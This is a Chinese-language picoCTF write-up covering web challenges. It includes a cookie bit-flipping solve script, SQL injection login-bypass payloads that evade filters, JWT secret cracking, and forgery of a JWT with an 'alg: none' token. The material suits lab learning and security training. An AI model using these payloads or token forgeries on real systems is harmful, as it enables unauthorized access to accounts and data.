:::spoiler solve script
```python=
import requests
import base64
def main():
r = requests.Session()
r.get("http://mercury.picoctf.net:34962/")
cookie = r.cookies["auth_name"]
decoded_cookie = base64.b64decode(cookie)
raw_cookie = base64.b64decode(decoded_cookie)
for position_idx in range(0, len(raw_cookie)):
for bit_idx in range(0, 8):
bitflip_guess = (
raw_cookie[0:position_idx]
+ ((raw_cookie[position_idx] ^ (1 << bit_idx)).to_bytes(1, "big"))
+ raw_cookie[position_idx + 1 :]
)
guess = base64.b64encode(base64.b64encode(bitflip_guess)).decode()
r = requests.get("http://mercury.picoctf.net:34962/", cookies={"auth_name": guess})
if "picoCTF{" in r.text:
print(f"Admin Cookie : {guess}")
return
if __name__ == "__main__":
main()
```
:::
---
### It is my Birthday
> MEDIUM
根據題目敘述我們可以知道 這是一個簡單的 php md5 碰撞
在 [collisions](https://github.com/corkami/collisions/tree/master/examples/free) 中找到兩個 pdf 後 上傳上去就解開了
---
### Bithug [Not Solved]
> HARD
### Some Assembly Required 4 [Not Solved]
> HARD
### Some Assembly Required 3 [Not Solved]
> HARD
---
## picoCTF 2020 Mini-Competition
### Web Gauntlet
> MEDIUM
這題要一路過五關的 `SQL Injection`
1. Round 1
filter : `OR`
payload : `admin'--`/`<any>`
2. Round 2
filter : `or and like = --`
payload : `admin'/*`/`<any>`
3. Round 3
filter : `or and = like > < --`
payload : `admin'/*`/`<any>`
4. Round 4
filter : `or and = like > < -- admin`
payload : `ad'||'min';`/`<any>`
5. Round 5
filter : `or and = like > < -- union admin`
payload : `ad'||'min';`/`<any>`
都通關之後到 `/filter.php` 就可以看到原始碼了
---
## picoCTF 2019
### dont-use-client-side
> EASY
這題是一個登入頁面 直接看原始碼就有破碎的 flag 按照順序拼起來就好

---
### logon
> EASY
一樣是個登入頁面 隨便登入後會發現多了一個 admin cookie

把 value 改成 `True` 再重新整理頁面就會出現 flag
---
### Insp3ct0r
> EASY
右鍵查看 `html` `js` `css` 就可以找到flag 了



---
### where are the robots
> EASY
查看 `robots.txt` 得到另一個路徑 `/8028f.html` 進去這個路徑就結束了
---
### Irish-Name-Repo 1
> MEDIUM
先從左邊選單找到登入頁面 `/login.html` 接著找到了一個隱藏的值叫 `debug` 把他從 `0` 改成 `1`

隨便登入後就可以看到 SQL 的語句 直接 `SQL Injection`

payload : `admin' or 1=1 --#`/`<any>`
---
### Client-side-again
> MEDIUM
這題一樣右鍵看 source code 找到下面這段關鍵的片段 這段看起來經過混淆 丟到 [deobfuscater](https://obf-io.deobfuscate.io/)
```javascript
var _0x5a46=['f49bf}','_again_e','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];(function(_0x4bd822,_0x2bd6f7){var _0xb4bdb3=function(_0x1d68f6){while(--_0x1d68f6){_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);}(_0x5a46,0x1b3));var _0x4b5b=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a46[_0x2d8f05];return _0x4d74cb;};function verify(){checkpass=document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split=0x4;if(checkpass[_0x4b5b('0x2')](0x0,split*0x2)==_0x4b5b('0x3')){if(checkpass[_0x4b5b('0x2')](0x7,0x9)=='{n'){if(checkpass[_0x4b5b('0x2')](split*0x2,split*0x2*0x2)==_0x4b5b('0x4')){if(checkpass[_0x4b5b('0x2')](0x3,0x6)=='oCT'){if(checkpass[_0x4b5b('0x2')](split*0x3*0x2,split*0x4*0x2)==_0x4b5b('0x5')){if(checkpass['substring'](0x6,0xb)=='F{not'){if(checkpass[_0x4b5b('0x2')](split*0x2*0x2,split*0x3*0x2)==_0x4b5b('0x6')){if(checkpass[_0x4b5b('0x2')](0xc,0x10)==_0x4b5b('0x7')){alert(_0x4b5b('0x8'));}}}}}}}}else{alert(_0x4b5b('0x9'));}}
```
經過解混淆後得到清楚一點的 js 但還是有點亂 我們再手動更改成如下
```javascript
var _0x5a46 = ['f49bf}', '_again_e', 'this', "Password Verified", "Incorrect password", 'getElementById', 'value', 'substring', 'picoCTF{', 'not_this'];
(function (_0x4bd822, _0x2bd6f7) {
var _0xb4bdb3 = function (_0x1d68f6) {
while (--_0x1d68f6) {
_0x4bd822.push(_0x4bd822.shift());
}
};
_0xb4bdb3(++_0x2bd6f7);
})(_0x5a46, 0x1b3);
var _0x4b5b = function (_0x2d8f05, _0x4b81bb) {
_0x2d8f05 = _0x2d8f05 - 0x0;
var _0x4d74cb = _0x5a46[_0x2d8f05];
return _0x4d74cb;
};
function verify() {
checkpass = document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];
split = 0x4;
if (checkpass[_0x4b5b('2')](0, 8) == _0x4b5b('0x3')) {
if (checkpass[_0x4b5b('2')](7, 9) == '{n') {
if (checkpass[_0x4b5b('2')](8, 16) == _0x4b5b('0x4')) {
if (checkpass[_0x4b5b('2')](3, 6) == 'oCT') {
if (checkpass[_0x4b5b('2')](24, 32) == _0x4b5b('0x5')) {
if (checkpass.substring(6, 11) == 'F{not') {
if (checkpass[_0x4b5b('2')](16, 24) == _0x4b5b('0x6')) {
if (checkpass[_0x4b5b('2')](12, 16) == _0x4b5b('0x7')) {
alert(_0x4b5b('0x8'));
}
}
}
}
}
}
}
} else {
alert(_0x4b5b('0x9'));
}
}
```
根據順序就可以回推 flag 例如 `(checkpass[_0x4b5b('2')](0, 8)`
就可以知道這是 flag 的第 0-7 個字元 因為 `_0x4b5b` 的順序是亂的
直接用 `console` 就可以得到我們要的片段

把 `(0,8)` `(8,16)` `(16,24)` `(24,32)` 拼起來就可以知道 flag

---
### Irish-Name-Repo 2
> MEDIUM
跟上一題 `Irish-Name-Repo 1` 一樣 先把 `debug` 改成 1
嘗試一樣的 SQLi payloa `admin' or 1=1 --#`/`<any>` 卻顯示 `SQLi detected.` 看來這次有 fliter
嘗試其他的 payload 就可以了
payload : `admin'/*`/`<any>`
---
### JaWT Scratchpad
> MEDIUM
隨便用一個名字登入後可以從 cookie 得到一個 `jwt token` 使用 [jwt-cracker](https://github.com/lmammino/distributed-jwt-cracker) 搭配 `rockyou.txt` 爆破出 secret

得到 secret 後 使用 [jwt.io](https://jwt.io/) 製作 admin 的 token

把 cookie 中的 `jwt` 的值用新的 `jwt token` 替換後重新整理頁面就會出現 flag了
---
### picobrowser
> MEDIUM
頁面打開有一個按鈕 直接按下去顯示我不是 `picobrowser`

用 `burp suite` 更改 request 的 `User-Agent` 為 `picobrowser`

---
### Irish-Name-Repo 3
> MEDIUM
跟前面的 `Irish-Name-Repo 1` 唯一不一樣的是登入頁面只剩密碼的輸入欄位
一樣先把 `debug` 改成 1 密碼隨便輸入後得到

嘗試了一下發現 `a` -> `n`, `b` -> `o` 可以按照這個邏輯構造 `SQLi` payload
```
' or 1=1 --#
' be 1=1 --#
```

---
### Java Script Kiddie [Not Solved]
> HARD
### Java Script Kiddie 2 [Not Solved]
> HARD
---
## picoGym Exclusive
### JAuth
> MEDIUM
用題目敘述中給的測試帳號 `test`/`Test123!` 登入後可以在 cookie 得到一串 `JWT token`
丟到 [jwt decoder](https://fusionauth.io/dev-tools/jwt-decoder) 解密後 發現我們可以更改加密的方法 所以把 `alg` 改成 `none`
因為要以 `admin` 登入 所以 `role` 也改成 `admin`
最後因為合法的 `jwt` 要有兩段 所以我們把加密的部分移除後 分隔的符號要留著

原始 token
```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzQ2MzM0NjQ3NjA5LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzE1XzcpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzMuMC4wLjAgU2FmYXJpLzUzNy4zNiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzQ2MzM0NjQ4fQ.0deL6ApkA3Yh74XM2zKcZZWs3bTKgeN27pKAnkea4YM
```
更改後的 token
> 注意最後面務必要有一個 `.` 才會是合法的 `jwt token`
```
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdXRoIjoxNzQ2MzM0NjQ3NjA5LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzE1XzcpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMzMuMC4wLjAgU2FmYXJpLzUzNy4zNiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc0NjMzNDY0OH0.
```
把 `/private` 頁面的 token 改成我們更改後的再刷新一次頁面